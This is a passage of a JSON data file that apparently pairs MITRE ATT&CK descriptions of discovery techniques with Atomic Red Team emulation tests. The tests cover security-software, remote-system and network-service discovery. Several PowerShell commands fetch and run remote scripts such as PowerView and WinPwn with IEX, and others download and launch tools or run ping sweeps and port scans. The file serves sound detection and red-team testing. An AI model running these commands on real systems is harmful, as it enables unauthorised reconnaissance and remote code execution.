- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
- "created": "2020-02-21T21:16:18.066Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1518.001",
- "url": "https://attack.mitre.org/techniques/T1518/001"
- },
- {
- "source_name": "Expel IO Evil in AWS",
- "url": "https://expel.io/blog/finding-evil-in-aws/",
- "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
- },
- {
- "source_name": "DescribeSecurityGroups - Amazon Elastic Compute Cloud",
- "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html",
- "description": "Amazon Web Services, Inc. . (2022). DescribeSecurityGroups. Retrieved January 28, 2022."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/581.html",
- "source_name": "capec",
- "external_id": "CAPEC-581"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query
with [Reg](https://attack.mitre.org/software/S0075), dir
with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups
action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)",
- "modified": "2022-04-11T22:26:34.327Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Software Discovery: Security Software Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Firewall: Firewall Metadata",
- "Firewall: Firewall Enumeration",
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1518.001"
- },
- "atomic_tests": [
- {
- "name": "Security Software Discovery",
- "auto_generated_guid": "f92a380f-ced9-491f-b338-95a991418ce2",
- "description": "Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, the test is going to display running processes, firewall configuration on network profiles\nand specific security software.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh.exe advfirewall show allprofiles\ntasklist.exe\ntasklist.exe | findstr /i virus\ntasklist.exe | findstr /i cb\ntasklist.exe | findstr /i defender\ntasklist.exe | findstr /i cylance\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Security Software Discovery - powershell",
- "auto_generated_guid": "7f566051-f033-49fb-89de-b6bacab730f0",
- "description": "Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, powershell is going to processes related AV products if they are running.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "get-process | ?{$_.Description -like \"*virus*\"}\nget-process | ?{$_.Description -like \"*carbonblack*\"}\nget-process | ?{$_.Description -like \"*defender*\"}\nget-process | ?{$_.Description -like \"*cylance*\"}\n",
- "name": "powershell"
- }
- },
- {
- "name": "Security Software Discovery - Sysmon Service",
- "auto_generated_guid": "fe613cf3-8009-4446-9a0f-bc78a15b66c9",
- "description": "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).\n\nwhen sucessfully executed, the test is going to display sysmon driver instance if it is installed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "fltmc.exe | findstr.exe 385201\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Security Software Discovery - AV Discovery via WMI",
- "auto_generated_guid": "1553252f-14ea-4d3b-8a08-d7a4211aa945",
- "description": "Discovery of installed antivirus products via a WMI query.\n\nwhen sucessfully executed, the test is going to display installed AV software.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1526": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Suzy Schapperle - Microsoft Azure Red Team",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db",
- "type": "attack-pattern",
- "created": "2019-08-30T13:01:10.120Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1526",
- "url": "https://attack.mitre.org/techniques/T1526"
- },
- {
- "source_name": "Azure - Resource Manager API",
- "url": "https://docs.microsoft.com/en-us/rest/api/resources/",
- "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020."
- },
- {
- "source_name": "Azure AD Graph API",
- "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview",
- "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020."
- },
- {
- "source_name": "Azure - Stormspotter",
- "url": "https://github.com/Azure/Stormspotter",
- "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020."
- },
- {
- "source_name": "GitHub Pacu",
- "url": "https://github.com/RhinoSecurityLabs/pacu",
- "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019."
- }
- ],
- "modified": "2021-03-16T12:57:03.837Z",
- "name": "Cloud Service Discovery",
- "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Cloud Service: Cloud Service Enumeration",
- "Cloud Service: Cloud Service Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1526"
- },
- "atomic_tests": []
- },
- "T1018": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Daniel Stepanic, Elastic",
- "RedHuntLabs, @redhuntlabs",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
- "created": "2017-05-31T21:30:28.187Z",
- "x_mitre_version": "3.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1018",
- "url": "https://attack.mitre.org/techniques/T1018"
- },
- {
- "source_name": "CISA AR21-126A FIVEHANDS May 2021",
- "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a",
- "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."
- },
- {
- "source_name": "Elastic - Koadiac Detection with EQL",
- "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
- "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/292.html",
- "source_name": "capec",
- "external_id": "CAPEC-292"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view
using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts
or /etc/hosts
) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n",
- "modified": "2022-04-20T18:10:53.167Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Remote System Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as ping.exe
and tracert.exe
, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "Process: Process Creation",
- "File: File Access"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1018"
- },
- "atomic_tests": [
- {
- "name": "Remote System Discovery - net",
- "auto_generated_guid": "85321a9c-897f-4a60-9f20-29788e50bccd",
- "description": "Identify remote systems with net.exe.\n\nUpon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net view /domain\nnet view\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remote System Discovery - net group Domain Computers",
- "auto_generated_guid": "f1bf6c8f-9016-4edf-aff9-80b65f5d711f",
- "description": "Identify remote systems with net.exe querying the Active Directory Domain Computers group.\n\nUpon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the \"Domain Computers\" group. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net group \"Domain Computers\" /domain\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remote System Discovery - nltest",
- "auto_generated_guid": "52ab5108-3f6f-42fb-8ba3-73bc054f22c8",
- "description": "Identify domain controllers for specified domain.\n\nUpon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_domain": {
- "description": "Domain to query for domain controllers",
- "type": "string",
- "default": "%userdnsdomain%"
- }
- },
- "executor": {
- "command": "nltest.exe /dclist:#{target_domain}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remote System Discovery - ping sweep",
- "auto_generated_guid": "6db1f57f-d1d5-4223-8a66-55c9c65a9592",
- "description": "Identify remote systems via ping sweep.\n\nUpon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "start_host": {
- "description": "Last octet starting value for ping sweep.",
- "type": "string",
- "default": "1"
- },
- "stop_host": {
- "description": "Last octet ending value for ping sweep.",
- "type": "string",
- "default": "254"
- },
- "subnet": {
- "description": "Subnet used for ping sweep.",
- "type": "string",
- "default": "192.168.1"
- }
- },
- "executor": {
- "command": "for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i \n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remote System Discovery - arp",
- "auto_generated_guid": "2d5a61f5-0447-4be4-944a-1f8530ed6574",
- "description": "Identify remote systems via arp. \n\nUpon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "arp -a\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Remote System Discovery - nslookup",
- "auto_generated_guid": "baa01aaa-5e13-45ec-8a0d-e46c93c9760f",
- "description": "Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.\n\nUpon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$localip = ((ipconfig | findstr [0-9].\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Remote System Discovery - adidnsdump",
- "auto_generated_guid": "95e19466-469e-4316-86d2-1dc401b5a959",
- "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks\nPython 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.\nSuccessful execution of this test will list dns zones in the terminal.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
- "description": "username including domain.",
- "type": "string",
- "default": "domain\\user"
- },
- "acct_pass": {
- "description": "Account password.",
- "type": "string",
- "default": "password"
- },
- "host_name": {
- "description": "hostname or ip address to connect to.",
- "type": "string",
- "default": "192.168.1.1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must have python 3 installed\n",
- "prereq_command": "if (python --version) {exit 0} else {exit 1}\n",
- "get_prereq_command": "echo \"Python 3 must be installed manually\"\n"
- },
- {
- "description": "Computer must have pip installed\n",
- "prereq_command": "if (pip3 -V) {exit 0} else {exit 1}\n",
- "get_prereq_command": "echo \"PIP must be installed manually\"\n"
- },
- {
- "description": "adidnsdump must be installed and part of PATH\n",
- "prereq_command": "if (cmd /c adidnsdump -h) {exit 0} else {exit 1}\n",
- "get_prereq_command": "pip3 install adidnsdump\n"
- }
- ],
- "executor": {
- "command": "adidnsdump -u #{user_name} -p #{acct_pass} --print-zones #{host_name}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory Computer Objects",
- "auto_generated_guid": "a889f5be-2d54-4050-bd05-884578748bb4",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -f (objectcategory=computer)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory Domain Controller Objects",
- "auto_generated_guid": "5838c31e-a0e2-4b9f-b60a-d79d2cb7995e",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -sc dclist\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumerate domain computers within Active Directory using DirectorySearcher",
- "auto_generated_guid": "962a6017-1c09-45a6-880b-adc9c57cb22e",
- "description": "This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. \nThis test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. \nReference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). \nUpon successful execution, this test will output the names of the computers that reside on the domain to the console window. \n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "This PC must be joined to a domain.",
- "prereq_command": "if ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true) {exit 0} else {exit 1}",
- "get_prereq_command": "write-host \"This PC must be manually added to a domain.\" "
- }
- ],
- "executor": {
- "command": "$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\"(ObjectCategory=Computer)\")\n$DirectorySearcher.PropertiesToLoad.Add(\"Name\")\n$Computers = $DirectorySearcher.findall()\nforeach ($Computer in $Computers) {\n $Computer = $Computer.Properties.name\n if (!$Computer) { Continue }\n Write-Host $Computer}\n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Enumerate Active Directory Computers with Get-AdComputer",
- "auto_generated_guid": "97e89d9e-e3f5-41b5-a90f-1e0825df0fdf",
- "description": "The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.\nUpon successful execution a listing of Computers will output with their paths in AD.\nReference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Get-AdComputer -Filter *\n"
- }
- },
- {
- "name": "Enumerate Active Directory Computers with ADSISearcher",
- "auto_generated_guid": "64ede6ac-b57a-41c2-a7d1-32c6cd35397d",
- "description": "The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory.\nUpon successful execution a listing of computers will output with their paths in AD.\nReference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "([adsisearcher]\"objectcategory=computer\").FindAll(); ([adsisearcher]\"objectcategory=computer\").FindOne()\n"
- }
- },
- {
- "name": "Get-DomainController with PowerView",
- "auto_generated_guid": "b9d2e8ca-5520-4737-8076-4f08913da2c4",
- "description": "Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "Get-wmiobject to Enumerate Domain Controllers",
- "auto_generated_guid": "e3cf5123-f6c9-4375-bdf2-1bb3ba43a1ad",
- "description": "The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers.\nUpon successful execution a listing of Systems from AD will output with their paths.\nReference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "get-wmiobject -class ds_computer -namespace root\\directory\\ldap\n"
- }
- },
- {
- "name": "Remote System Discovery - net group Domain Controller",
- "auto_generated_guid": "5843529a-5056-4bc1-9c13-a311e2af4ca0",
- "description": "Identify remote systems with net.exe querying the Active Directory Domain Controller.\nUpon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the \"Domain Controller\" in the domain. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net group /domain \"Domain controllers\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1046": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS",
- "Containers",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
- "created": "2017-05-31T21:30:43.915Z",
- "x_mitre_version": "3.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1046",
- "url": "https://attack.mitre.org/techniques/T1046"
- },
- {
- "source_name": "apple doco bonjour description",
- "url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html",
- "description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021."
- },
- {
- "source_name": "CISA AR21-126A FIVEHANDS May 2021",
- "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a",
- "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."
- },
- {
- "source_name": "macOS APT Activity Bradley",
- "url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/",
- "description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/300.html",
- "source_name": "capec",
- "external_id": "CAPEC-300"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .
) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)",
- "modified": "2022-04-20T16:05:30.960Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Network Service Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Cloud Service: Cloud Service Enumeration",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1046"
- },
- "atomic_tests": [
- {
- "name": "Port Scan NMap for Windows",
- "auto_generated_guid": "d696a3cb-d7a8-4976-8eb5-5af4abf2e3df",
- "description": "Scan ports to check for listening ports for the local host 127.0.0.1",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "nmap_url": {
- "description": "NMap installer download URL",
- "type": "url",
- "default": "https://nmap.org/dist/nmap-7.80-setup.exe"
- },
- "host_to_scan": {
- "description": "The host to scan with NMap",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NMap must be installed\n",
- "prereq_command": "if (cmd /c \"nmap 2>nul\") {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\nmap-7.80-setup.exe #{nmap_url}\nStart-Process $env:temp\\nmap-7.80-setup.exe /S\n"
- }
- ],
- "executor": {
- "command": "nmap #{host_to_scan}",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Port Scan using python",
- "auto_generated_guid": "6ca45b04-9f15-4424-b9d3-84a217285a5c",
- "description": "Scan ports to check for listening ports with python\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "host_ip": {
- "description": "Host to scan.",
- "type": "string",
- "default": "127.0.0.1"
- },
- "filename": {
- "description": "Location of the project file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1046\\src\\T1046.py"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Check if python exists on the machine\n",
- "prereq_command": "if (python --version) {exit 0} else {exit 1}\n",
- "get_prereq_command": "echo \"Python 3 must be installed manually\"\n"
- }
- ],
- "executor": {
- "command": "python #{filename} -i #{host_ip}\n",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - spoolvulnscan",
- "auto_generated_guid": "54574908-f1de-4356-9021-8053dd57439a",
- "description": "Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nspoolvulnscan -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - MS17-10",
- "auto_generated_guid": "97585b04-5be2-40e9-8c31-82157b8af2d6",
